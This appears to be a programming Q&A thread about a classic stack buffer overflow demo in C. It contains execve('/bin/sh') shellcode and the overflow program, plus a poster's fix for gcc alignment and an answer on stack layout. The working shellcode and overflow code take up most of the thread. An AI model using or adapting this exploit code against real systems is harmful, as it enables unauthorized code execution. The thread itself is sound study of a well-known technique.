Reputation: 21
char shellcode[] = "\xeb\x18\x5e\x31\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh ";
char large_string[128];
void main() {
char buffer[48];
int i;
long *long_ptr = (long *) large_string;
for(i=0; i < 32; ++i) // 128/4 = 32
long_ptr[i] = (int) buffer;
for(i=0; i < strlen(shellcode); i++){
large_string[i] = shellcode[i];
}
strcpy(buffer, large_string);
}
The above is an example code for performing buffer overflow attack, it works when compiled using clang , but not when compiled using gcc. I think the problem is than of array alignment. On using the compile flag -mpreferred-stack-boundary=2 the program do works in gcc. But is there another solution without using -mpreferred-stack-boundary=2 ?
Can we fix the memory alignment issue if any, in the code itself ?
The compiler flag i used for both gcc and clang are -w -m32 -g -fno-stack-protector -z execstack -O0
.
Upvotes: 0
Views: 185
Reputation: 21
Found the solution We need to add a +4 to long_ptr[i] = (int) buffer and another +4 to large_string[i]. The program now looks like this.
// without zeros
char shellcode[] = "\xeb\x18\x5e\x31\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh ";
char large_string[128];
void main() {
char buffer[48];
int i;
long *long_ptr = (long *) large_string;
for(i=0; i < 32; ++i) // 128/4 = 32
long_ptr[i] = (int) buffer+4;
for(i=0; i < strlen(shellcode); i++){
large_string[i+4] = shellcode[i];
}
strcpy(buffer, large_string);
}
Upvotes: 0
Reputation: 87251
This is the stack layout of your main
function on x86 (any of 16-bit, 32-bit and 64-bit code), while it is running:
buffer
i
long_ptr
argc
(pushed by the caller) (even if you declare main
without parameters)argv
(pushed by the caller) (even if you declare main
without parameters)The compiler is free to choose the order of local variables, and it is free to choose the amounts of alignment.
The reason why the shellcode works with one compiler is that it is making specific assumptions about the order of local variables and the amounts of alignment.
Typically an exploit shellcode is written for a specific, precompiled binary executable, in which these are already made by the compiler and they are revealed by the disassebmbly output.
Upvotes: 0